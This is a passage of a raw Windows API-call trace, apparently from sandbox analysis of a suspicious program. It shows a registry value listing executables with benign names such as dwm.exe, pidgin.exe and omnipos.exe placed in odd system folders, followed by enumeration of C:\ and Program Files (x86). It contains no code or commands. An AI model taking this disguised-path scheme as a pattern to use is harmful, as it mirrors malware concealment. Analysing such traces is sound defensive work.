\"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\", \"C:\\Windows\\L2Schemas\\pidgin.exe\", \"C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe\", \"C:\\Boot\\zh-TW\\explorer.exe\"", cbData=0x1fc | out: lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\", \"C:\\Windows\\L2Schemas\\pidgin.exe\", \"C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe\", \"C:\\Boot\\zh-TW\\explorer.exe\"") returned 0x0 [0118.259] RegCloseKey (hKey=0x490) returned 0x0 [0118.259] CoTaskMemAlloc (cb=0x20c) returned 0x1b4b8740 [0118.259] GetSystemDirectoryW (in: lpBuffer=0x1b4b8740, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0118.259] CoTaskMemFree (pv=0x1b4b8740) [0118.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0118.259] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0118.259] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbaec25, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaec25, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1b4900f0 [0118.260] FindNextFileW (in: hFindFile=0x1b4900f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7898476d, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b27f82, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0118.260] FindNextFileW (in: hFindFile=0x1b4900f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x61b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0118.260] FindNextFileW (in: hFindFile=0x1b4900f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0118.260] FindNextFileW (in: hFindFile=0x1b4900f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x78d17e5a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78d17e5a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78d17e5a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0118.261] FindNextFileW (in: hFindFile=0x1b4900f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa1317bed, ftCreationTime.dwHighDateTime=0x1d99cf2, ftLastAccessTime.dwLowDateTime=0xf974ba53, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xf974ba53, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0118.261] FindNextFileW (in: hFindFile=0x1b4900f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0118.261] FindNextFileW (in: hFindFile=0x1b4900f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x551dbbfd, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x551dbbfd, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x248b69a0, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0118.261] FindNextFileW (in: hFindFile=0x1b4900f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0x4cb5cae1, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4cba8e1e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4cba8e1e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0118.261] FindNextFileW (in: hFindFile=0x1b4900f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x85890a37, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x85890a37, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2555deab, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x48000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0118.262] FindNextFileW (in: hFindFile=0x1b4900f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbaec25, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaec25, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0118.262] FindNextFileW (in: hFindFile=0x1b4900f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3c6700c, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x3c6700c, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0118.262] FindNextFileW (in: hFindFile=0x1b4900f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xb62d6190, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb62d6190, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0118.262] FindNextFileW (in: hFindFile=0x1b4900f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0118.262] FindNextFileW (in: hFindFile=0x1b4900f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbaa998b0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbadba904, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbadba904, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0118.262] FindNextFileW (in: hFindFile=0x1b4900f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x858b6c65, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x858b6c65, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x25588045, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1 [0118.263] FindNextFileW (in: hFindFile=0x1b4900f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x85289733, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x2dbfc137, ftLastAccessTime.dwHighDateTime=0x1d70505, ftLastWriteTime.dwLowDateTime=0x2dbfc137, ftLastWriteTime.dwHighDateTime=0x1d70505, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0118.263] FindNextFileW (in: hFindFile=0x1b4900f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3ce179de, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3ce179de, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0118.263] FindNextFileW (in: hFindFile=0x1b4900f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x40b942d, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x40b942d, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0118.263] FindNextFileW (in: hFindFile=0x1b4900f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0118.263] FindClose (in: hFindFile=0x1b4900f0 | out: hFindFile=0x1b4900f0) returned 1 [0118.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0118.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0118.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0118.264] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0118.264] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*" (normalized: "c:\\program files (x86)\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xb62d6190, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb62d6190, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b48f910 [0118.264] FindNextFileW (in: hFindFile=0x1b48f910, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xb62d6190, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb62d6190, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.264] FindNextFileW (in: hFindFile=0x1b48f910, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xf911a0c4, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf911a0c4, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0118.265] FindNextFileW (in: hFindFile=0x1b48f910, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0118.265] FindNextFileW (in: hFindFile=0x1b48f910, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93a39, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf91fed52, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf91fed52, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0118.265] FindNextFileW (in: hFindFile=0x1b48f910, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57c78d41, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xf91b29c0, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf91b29c0, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0118.265] FindNextFileW (in: hFindFile=0x1b48f910, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x1b83b055, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xf918c809, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf918c809, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0118.265] FindNextFileW (in: hFindFile=0x1b48f910, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb27ad863, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xf8ca19b7, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf8ca19b7, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~3")) returned 1 [0118.266] FindNextFileW (in: hFindFile=0x1b48f910, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xc93a39, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf8cc7c27, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf8cc7c27, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0118.266] FindNextFileW (in: hFindFile=0x1b48f910, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb62d6190, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0xf91d8be1, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf91d8be1, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0118.266] FindNextFileW (in: hFindFile=0x1b48f910, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde6b7421, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0xf91d8be1, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf91d8be1, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0118.266] FindNextFileW (in: hFindFile=0x1b48f910, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde6dd69d, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0xf918c809, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf918c809, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0118.266] FindNextFileW (in: hFindFile=0x1b48f910, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93a39, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd2a0ad1, ftLastAccessTime.dwHighDateTime=0x1d112f1, ftLastWriteTime.dwLowDateTime=0xbd2a0ad1, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0118.266] FindNextFileW (in: hFindFile=0x1b48f910, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93a39, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf92250fc, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf92250fc, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1 [0118.267] FindNextFileW (in: hFindFile=0x1b48f910, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93a39, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf91fed52, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf91fed52, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WINDOW~3")) returned 1 [0118.267] FindNextFileW (in: hFindFile=0x1b48f910, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93a39, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf91b29c0, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf91b29c0, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~4")) returned 1 [0118.272] FindNextFileW (in: hFindFile=0x1b48f910, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93a39, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf91fed52, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf91fed52, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WI67CB~1")) returned 1 [0118.272] FindNextFileW (in: hFindFile=0x1b48f910, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93a39, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd2c6d39, ftLastAccessTime.dwHighDateTime=0x1d112f1, ftLastWriteTime.dwLowDateTime=0xbd2c6d39, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1 [0118.272] FindNextFileW (in: hFindFile=0x1b48f910, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93a39, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf91fed52, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf91fed52, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0118.273] FindNextFileW (in: hFindFile=0x1b48f910, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf91d8be1, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf91d8be1, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0118.273] FindNextFileW (in: hFindFile=0x1b48f910, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf92250fc, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf92250fc, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0118.273] FindNextFileW (in: hFindFile=0x1b48f910, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0118.273] FindClose (in: hFindFile=0x1b48f910 | out: hFindFile=0x1b48f910) returned 1 [0118.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0118.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0118.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0118.273] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Windows NT", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Windows NT", lpFilePart=0x0) returned 0x21 [0118.274] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\*" (normalized: "c:\\program files (x86)\\windows nt\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93a39, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf91fed52, 